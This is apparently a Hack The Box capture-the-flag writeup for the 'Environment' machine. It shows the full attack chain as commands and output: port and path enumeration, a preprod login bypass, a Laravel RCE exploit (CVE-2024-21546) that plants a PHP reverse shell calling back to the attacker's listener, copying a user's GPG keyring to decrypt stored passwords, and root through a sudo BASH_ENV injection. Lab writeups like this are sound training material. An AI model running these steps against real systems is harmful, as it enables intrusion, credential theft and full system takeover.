hackthekat — writeup

Hack The Box: Environment

Linux Hard
Penetration Testing Writeup
Back to all writeups

Machine Overview

Environment is a Hard difficulty Linux machine running a Laravel web application with a pre-production staging environment. The attack exploits CVE-2024-21546 (Laravel RCE) to obtain a shell. Credential recovery is achieved by decrypting a GPG-encrypted keyvault using keys found in the user's home directory. Privilege escalation abuses a sudo misconfiguration with BASH_ENV injection.

Initial Enumeration

Port Scanning

I start with a full TCP port scan to discover all open ports.

nmap -p- 10.129.225.135              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 02:28 CEST
Nmap scan report for 10.129.225.135
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds

A detailed service-version scan (-sCV) fingerprints the exact software versions running on each open port, helping identify potential vulnerabilities.

nmap -p- -sCV 10.129.225.135 -vvvv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 02:30 CEST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
Initiating Ping Scan at 02:30
Scanning 10.129.225.135 [4 ports]
Completed Ping Scan at 02:30, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:30
Completed Parallel DNS resolution of 1 host. at 02:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:30
Scanning 10.129.225.135 [65535 ports]
Discovered open port 80/tcp on 10.129.225.135
Discovered open port 22/tcp on 10.129.225.135
Completed SYN Stealth Scan at 02:30, 17.12s elapsed (65535 total ports)
Initiating Service scan at 02:30
Scanning 2 services on 10.129.225.135
Completed Service scan at 02:30, 6.08s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.225.135.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.62s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.06s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
Nmap scan report for 10.129.225.135
Host is up, received reset ttl 63 (0.018s latency).
Scanned at 2025-05-14 02:30:16 CEST for 23s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
|   256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open  http    syn-ack ttl 63 nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.31 seconds
           Raw packets sent: 66804 (2.939MB) | Rcvd: 65782 (2.631MB)

Subdomain Fuzzing

I fuzz for subdomains using ffuf to discover additional virtual hosts.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://environment.htb/FUZZ'                                         


 :: Method           : GET
 :: URL              : http://environment.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 218ms]
upload                  [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 812ms]
storage                 [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 15ms]
mailing                 [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 313ms]
up                      [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 120ms]
build                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 18ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 21ms]
logout                  [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 533ms]
#www                    [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 398ms]
#mail                   [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 377ms]
:: Progress: [19966/19966] :: Job [1/1] :: 95 req/sec :: Duration: [0:03:06] :: Errors: 0 ::

Several subdomains are discovered. I explore the login page, upload functionality, and mailing endpoints but initially can't interact without credentials.

Upload page requiring authenticationUpload page requiring authentication

Foothold: Laravel RCE (CVE-2024-21546)

Discovering the Pre-Production Environment

By intercepting login requests with Burp Suite and intentionally triggering errors, the backend exposes PHP source code in error responses — revealing this is a Laravel application.

POST /login HTTP/1.1
Host: environment.htb
Content-Length: 91
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://environment.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://environment.htb/login
Accept-Encoding: gzip, deflate, br

Cookie: XSRF-TOKEN=eyJpdiI6ImRXcGh3TUp5TXgrcnFZQkJrWGZtdkE9PSIsInZhbHVlIjoiVWVZRjdUVnNFV3MzdGxncE5Ka3NjQ0Z5MmFNcmNrVEhYOUJFaHF3RWRwbnNLc3NRRmtNckxHZWZCK3doYTlaVEx1aE1wQUcvYWZNTXA3QllmWDZJekVXMmxoeGtVMktLSGVLa2xjczRWUm1wcXcwdXV2b1pFQWpBUG41S2hrR2QiLCJtYWMiOiI3N2RkMTc5ZDdhNTE0NGZiNGNlOGM1NTlmMTVlODYxY2IxMDQ4MmU1OGU2ZjQ5NDI4OTlmNGM3M2I0NDQ5ZmI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRPN1NGMDY5emVEbDN3Y2xCL1BqNWc9PSIsInZhbHVlIjoiSEZJam5pR3ZCVGlLaWdDWDRvVGVHcWVhOWR5L05ZU3J4TkNzcWNrUGpvaEo4OWpqK0pHSHcydXVQUFhtdWR2NTMyYmlodTF2cElLbDl4R2lzRWhkWCt1Y1RtaWRua3hpbFFGZ3VveDNUNUx6bVh6ODFiRkZUNnBvdm50MlRJaWwiLCJtYWMiOiJiMTExMjM3Mzk4OTE1YmUxNmQwNWUzNmMzNDQyNTcyNzc1NDJiZWEwZDIwNTAxMTQwZWRlNmM3MDc2ODQwOTZlIiwidGFnIjoiIn0%3D

Connection: keep-alive

_token=n9VBfkdFX9JRMRZv74BAm2HAwA3OLytfGKSvQuEJ&email=t%40t.htb&password=test&remember=test

The command output below reveals important information about the target system's configuration. I carefully examine the results for credentials, misconfigurations, version numbers, or any other details that could be leveraged for further exploitation.

$keep_loggedin = False;
    } elseif ($remember == 'True') {
        $keep_loggedin = True;
    }

    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }

    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
        $request->session()->regenerate();
        $request->session()->put('user_id', 1);
        return redirect('/management/dashboard');
    }

    $user = User::where('email', $email)->first();

The error response reveals a pre-production environment running at a different endpoint. I test this and successfully access it with a session cookie bypass.

HTTP/1.1 302 Found
Server: nginx/1.22.1
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Thu, 29 May 2025 14:49:15 GMT
Location: http://environment.htb/management/dashboard
Set-Cookie: XSRF-TOKEN=eyJpdiI6Illla0ZOYVFjazZvbm9xUStGMFdXa3c9PSIsInZhbHVlIjoiZ2NtelJZRE9yK1pzVVZtKzM4UGM1S05TanFvaEc3T29PSzVhMmJXcDhGdGNZTUs0KzVzMnBRVkNzK1dWSFB6a2RBNWRFdnRXWmJVUG82OTFNM1d2UGFMSFoxSHRqVUxwVEhHOXRtekRPODczUGtBUnVlNzhzRlJDeXNocVU2c2YiLCJtYWMiOiJiNjRkYjY0MGVjMzQ0YTEyNzQ5NjUwMDZlMGZlNjFjNWNlMWE4NTRiOWEyYWJkNGU3NjA5ZDJlZDhmYmNiNzExIiwidGFnIjoiIn0%3D; expires=Thu, 29 May 2025 16:49:15 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IkYzLzQ1bmQ1VUd1VzFUaFNrNlRBamc9PSIsInZhbHVlIjoiaTVIV3J5NlJhVnNrdW1tQm1TazRoYnlmdVN2dk9SUTk3U2tENXdUTEtGV25hb3JpcmdTdjljd0tOejByT01pOWp1ZzJhcU1POFpSWUpST2N3YXdoOWFabEZhOU5IbzlxVWVZSHBUVzVOeU9NazZEdU4vUDFmN1UvTHl0c2hZV1oiLCJtYWMiOiJmMmI0NDBmNDY4ZDRhOTlkNTM5ODZjM2JhZGI0M2IzMmYxMmM2NWY1YTY4NGNlYzI1YWRkY2UxNjJlZmJjMWI0IiwidGFnIjoiIn0%3D; expires=Thu, 29 May 2025 16:49:15 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Length: 418

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://environment.htb/management/dashboard'" />

        <title>Redirecting to http://environment.htb/management/dashboard</title>
    </head>
    <body>
        Redirecting to <a href="http://environment.htb/management/dashboard">http://environment.htb/management/dashboard</a>.
    </body>
</html>
Accessing the pre-production environmentAccessing the pre-production environment
Redirected to the user profile pageRedirected to the user profile page

Exploiting CVE-2024-21546

With access to the Laravel application, I search for an RCE exploit and find CVE-2024-21546. The exploit requires the target URL, attacker IP, a listener port, and the session cookie from the pre-production environment.

python3 CVE-2024-21546.py http://environment.htb 10.10.16.46 9001 eyJpdiI6ImtTZHZ2dDJrbWRwdEdzeFJHSXkwVUE9PSIsInZhbHVlIjoicUVKSk1GbUlpNHAvUjc3aEhuK21qMGsvV2lLVVhpMnJ6TlFBRURhKy9uYWRBQ2tUMHdkRVZleVpOdUFWb2k3OVl4S2hNUlFJSktlZnU3UjM5b2lRM3hIRjNRRjRqcEZheFM3TmIxWGRJZXhwa0dRYm00QnNjMGZqZFB0MGhyZzQiLCJtYWMiOiJmOWY0YWI3ZmQzYTU0NWFiMDVmYjNjOWJjNTlhOWIwN2JjYjQ5ZDMyN2U4MTczZmFhMjA4ODVjOGNiNDBlNmQyIiwidGFnIjoiIn0%3D  
[*] Validating session...
[+] Session is valid.
[*] Fetching CSRF token...
[+] Got CSRF token: d9xZadxLIhlVHllQfo0aRsPOsqFmviqZkYiuS5xA
[*] Uploading reverse shell...
[+] Upload status: 200
{"url":"http:\/\/environment.htb\/storage\/files\/urs408.php","uploaded":"http:\/\/environment.htb\/storage\/files\/urs408.php"}
[+] Triggering the reverse shell...
[+] Done. If listener is up, you should have a shell.

Other shell 

nc -lvnp 9001                                                                                   
listening on [any] 9001 ...
connect to [10.10.16.46] from (UNKNOWN) [10.129.232.3] 43936
bash: cannot set terminal process group (930): Inappropriate ioctl for device
bash: no job control in this shell
www-data@environment:~/app/storage/app/public/files$

The exploit provides a reverse shell as www-data. The user flag is found in the home directory of the user hish.

www-data@environment:/var$ cd /home
cd /home
www-data@environment:/home$ ls
ls
hish
www-data@environment:/home$ cd hish
cd hish
www-data@environment:/home/hish$ ls
ls
backup
user.txt
www-data@environment:/home/hish$ cat user.txt
cat user.txt
74ed5865fdd4f756b8266a74667401a4
🚩 User Flag74ed5865fdd4f756b8266a74667401a4

Lateral Movement: GPG Keyvault Decryption

Inside hish's home directory, I find a backup folder containing a keyvault.gpg file — an encrypted file that likely contains credentials. The user's .gnupg directory contains the GPG private key needed for decryption.

I copy the .gnupg directory to /tmp and set proper permissions (700), then decrypt the keyvault.

cp -r /home/hish/.gnupg /tmp/Test

I adjust the file permissions using chmod to grant execute rights. On Linux systems, downloaded files and scripts don't have execute permissions by default — they must be explicitly set before the file can be run. This is a necessary step before executing any exploit or tool on the target.

chmod -R 700 /tmp/Test

I decrypt the GPG-encrypted file using the private key from the copied keyring.

gpg --homedir /tmp/Test --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg                 
<essage.txt --decrypt /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/Test'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
gpg: cannot open '/dev/tty': No such device or address

The decrypted file reveals hish's password. I use it to authenticate over SSH.

www-data@environment:/tmp$ cat message.txt
cat message.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

I authenticate to the target machine over SSH using the recovered credentials.

ssh hish@environment.htb                    
The authenticity of host 'environment.htb (10.129.232.3)' can't be established.
ED25519 key fingerprint is SHA256:GKtBN7PjK58Q8eTT80jQMUZYS5ZLu8ccptkyIueks18.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'environment.htb' (ED25519) to the list of known hosts.
hish@environment.htb's password: marineSPm@ster!! (Password)
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jun 14 05:59:57 2025 from 10.10.16.46

hish@environment:~$ sudo -l
[sudo] password for hish: 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

Privilege Escalation: BASH_ENV Injection

As the user hish, I check sudo -l and discover a custom script can be run as root. I create a test.sh script and exploit the BASH_ENV variable — when Bash is invoked to run a script, it first sources the file pointed to by BASH_ENV. By setting this to a script that spawns a shell, I obtain root access.

hish@environment:~$ sudo -l
[sudo] password for hish: 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo
hish@environment:~$ echo 'bash -p' > test.sh
hish@environment:~$ chmod +x test.sh 
hish@environment:~$ sudo BASH_ENV=./test.sh /usr/bin/systeminfo

With root privileges now obtained, I navigate to /root/root.txt and read the final flag. This completes the privilege escalation chain from initial foothold to full system compromise.

root@environment:/home/hish# cd /root
root@environment:~# ls
root.txt  scripts
root@environment:~# cat root.txt 
d6b220036e4e9ace5267d60dde1f2f92
🚩 Root Flagd6b220036e4e9ace5267d60dde1f2f92